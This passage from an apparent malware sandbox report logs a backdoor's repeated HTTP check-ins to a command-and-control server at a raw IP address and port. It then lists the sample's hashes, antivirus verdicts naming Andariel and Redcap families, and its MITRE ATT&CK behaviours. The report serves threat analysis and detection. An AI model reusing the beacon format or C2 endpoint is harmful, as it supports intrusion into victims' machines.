Accept-Encoding: gzip,deflate" with payload::==> "--4a23f9eb-3951-475b-affd-ef2a748b4132 Content-Disposition: form-data; name="id"; --4a23f9eb-3951-475b-affd-ef2a748b4132 Content-Disposition: form-data; name="type"; windows --4a23f9eb-3951-475b-affd-ef2a748b4132 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --4a23f9eb-3951-475b-affd-ef2a748b4132--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:06 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 358 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717eb Accept-Encoding: gzip,deflate" with payload::==> "--030e49ac-a871-4741-9b32-15634e5717eb Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --030e49ac-a871-4741-9b32-15634e5717eb Content-Disposition: form-data; name="type"; network --030e49ac-a871-4741-9b32-15634e5717eb Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --030e49ac-a871-4741-9b32-15634e5717eb--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:07 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048d Accept-Encoding: gzip,deflate" with payload::==> "--b3902102-9277-4767-bb26-9f834173048d Content-Disposition: form-data; name="id"; --b3902102-9277-4767-bb26-9f834173048d Content-Disposition: form-data; name="type"; windows --b3902102-9277-4767-bb26-9f834173048d Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --b3902102-9277-4767-bb26-9f834173048d--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:08 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 358 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004 Accept-Encoding: gzip,deflate" with payload::==> "--dbec2917-55d5-4bb2-9d16-ca1c3fcd5004 Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --dbec2917-55d5-4bb2-9d16-ca1c3fcd5004 Content-Disposition: form-data; name="type"; network --dbec2917-55d5-4bb2-9d16-ca1c3fcd5004 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --dbec2917-55d5-4bb2-9d16-ca1c3fcd5004--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:08 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029 Accept-Encoding: gzip,deflate" with payload::==> "--3bbbff9e-9ae9-4f69-a013-b14ce5bf1029 Content-Disposition: form-data; name="id"; --3bbbff9e-9ae9-4f69-a013-b14ce5bf1029 Content-Disposition: form-data; name="type"; windows --3bbbff9e-9ae9-4f69-a013-b14ce5bf1029 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --3bbbff9e-9ae9-4f69-a013-b14ce5bf1029--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:09 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 358 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736a Accept-Encoding: gzip,deflate" with payload::==> "--7a4c39db-760c-479c-b11a-670871ac736a Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --7a4c39db-760c-479c-b11a-670871ac736a Content-Disposition: form-data; name="type"; network --7a4c39db-760c-479c-b11a-670871ac736a Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --7a4c39db-760c-479c-b11a-670871ac736a--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:10 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55 Accept-Encoding: gzip,deflate" with payload::==> "--54e59d41-1f34-4fdb-9f01-f5616efa8c55 Content-Disposition: form-data; name="id"; --54e59d41-1f34-4fdb-9f01-f5616efa8c55 Content-Disposition: form-data; name="type"; windows --54e59d41-1f34-4fdb-9f01-f5616efa8c55 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --54e59d41-1f34-4fdb-9f01-f5616efa8c55--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:10 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 358 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174 Accept-Encoding: gzip,deflate" with payload::==> "--d9cc8682-a6c8-45e2-92f2-103cce51b174 Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --d9cc8682-a6c8-45e2-92f2-103cce51b174 Content-Disposition: form-data; name="type"; network --d9cc8682-a6c8-45e2-92f2-103cce51b174 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --d9cc8682-a6c8-45e2-92f2-103cce51b174--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:11 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0db Accept-Encoding: gzip,deflate" with payload::==> "--405bd84d-b6e5-4ec8-bab2-d48c1d87e0db Content-Disposition: form-data; name="id"; --405bd84d-b6e5-4ec8-bab2-d48c1d87e0db Content-Disposition: form-data; name="type"; windows --405bd84d-b6e5-4ec8-bab2-d48c1d87e0db Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --405bd84d-b6e5-4ec8-bab2-d48c1d87e0db--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:12 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 358 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=131f5dbe-1754-4a18-94f9-298257c90082 Accept-Encoding: gzip,deflate" with payload::==> "--131f5dbe-1754-4a18-94f9-298257c90082 Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --131f5dbe-1754-4a18-94f9-298257c90082 Content-Disposition: form-data; name="type"; network --131f5dbe-1754-4a18-94f9-298257c90082 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --131f5dbe-1754-4a18-94f9-298257c90082--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:12 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B.......1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790789843406,"unified_at":"2026-09-30T17:37:23.406Z","metadata":{"hashes":{"sha256":"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a","sha1":"9285f2d790c65c94e382463bfff17a642b2b9762","md5":"d62126246776ddf0ad64df8c78552805","sha512":"1b23a3b0ee2e6f57b62db7cd8dc0575e77da0e574dab62b6844b5b3105f3acb7542a6ba4cdb0dbe60771ec6f97773289d33094721b6012e4976ed7370f916d42","ssdeep":"24576:X4ENdUyGCaeU3wxE3ICbhYrC2RQdyrE8SQsg2XOfjvJpbPTv2RqJGcti9:X4ENdi3ICbhYrC4Qd2XwXOfXbPTwK1t","ssdeep_chunks":["24576:X4ENdUy","24576:4ENdUyG","24576:ENdUyGC","24576:NdUyGCa","24576:dUyGCae","24576:UyGCaeU","24576:yGCaeU3","24576:GCaeU3w","24576:CaeU3wx","24576:aeU3wxE","24576:eU3wxE3","24576:U3wxE3I","24576:3wxE3IC","24576:wxE3ICb","24576:xE3ICbh","24576:E3ICbhY","24576:3ICbhYr","24576:ICbhYrC","24576:CbhYrC2","24576:bhYrC2R","24576:hYrC2RQ","24576:YrC2RQd","24576:rC2RQdy","24576:C2RQdyr","24576:2RQdyrE","24576:RQdyrE8","24576:QdyrE8S","24576:dyrE8SQ","24576:yrE8SQs","24576:rE8SQsg","24576:E8SQsg2","24576:8SQsg2X","24576:SQsg2XO","24576:Qsg2XOf","24576:sg2XOfj","24576:g2XOfjv","24576:2XOfjvJ","24576:XOfjvJp","24576:OfjvJpb","24576:fjvJpbP","24576:jvJpbPT","24576:vJpbPTv","24576:JpbPTv2","24576:pbPTv2R","24576:bPTv2Rq","24576:PTv2RqJ","24576:Tv2RqJG","24576:v2RqJGc","24576:2RqJGct","24576:RqJGcti","24576:qJGcti9","49152:X4ENdUy","49152:4ENdUyG","49152:ENdUyGC","49152:NdUyGCa","49152:dUyGCae","49152:UyGCaeU","49152:yGCaeU3","49152:GCaeU3w","49152:CaeU3wx","49152:aeU3wxE","49152:eU3wxE3","49152:U3wxE3I","49152:3wxE3IC","49152:wxE3ICb","49152:xE3ICbh","49152:E3ICbhY","49152:3ICbhYr","49152:ICbhYrC","49152:CbhYrC2","49152:bhYrC2R","49152:hYrC2RQ","49152:YrC2RQd","49152:rC2RQdy","49152:C2RQdyr","49152:2RQdyrE","49152:RQdyrE8","49152:QdyrE8S","49152:dyrE8SQ","49152:yrE8SQs","49152:rE8SQsg","49152:E8SQsg2","49152:8SQsg2X","49152:SQsg2XO","49152:Qsg2XOf","49152:sg2XOfj","49152:g2XOfjv","49152:2XOfjvJ","49152:XOfjvJp","49152:OfjvJpb","49152:fjvJpbP","49152:jvJpbPT","49152:vJpbPTv","49152:JpbPTv2","49152:pbPTv2R","49152:bPTv2Rq","49152:PTv2RqJ","49152:Tv2RqJG","49152:v2RqJGc","49152:2RqJGct","49152:RqJGcti","49152:qJGcti9","24576:X4ENdi3","24576:4ENdi3I","24576:ENdi3IC","24576:Ndi3ICb","24576:di3ICbh","24576:i3ICbhY","24576:CbhYrC4","24576:bhYrC4Q","24576:hYrC4Qd","24576:YrC4Qd2","24576:rC4Qd2X","24576:C4Qd2Xw","24576:4Qd2XwX","24576:Qd2XwXO","24576:d2XwXOf","24576:2XwXOfX","24576:XwXOfXb","24576:wXOfXbP","24576:XOfXbPT","24576:OfXbPTw","24576:fXbPTwK","24576:XbPTwK1","24576:bPTwK1t"],"imphash":"c4a0213bb099203c783857a5e2fe3edc"},"file_info":{"file_name":"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":2027008,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1702380380000,"last_seen":1702380380000,"last_multi_scan":1702380380000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive"]},"stats":{"av":{"malicious_count":10,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":53},"sandbox_signatures":{"informative_count":128,"suspicious_count":8,"malicious_count":8,"total":144},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Backdoor/Win.Redcap","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Seheq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Redcap.ejygj","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Lazy.429418","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Lazy.429418 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win64/Andariel.P trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005add381 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Backdoor.Win32.Agent.myusuj","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/ABRisk.ZZYN-8716","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Andariel.Win64.6","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Lazy.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Executes WMI queries"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file contains unusual section name"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"malicious","value":"The input sample contains a known anti-VM trick"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to get system version information"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API 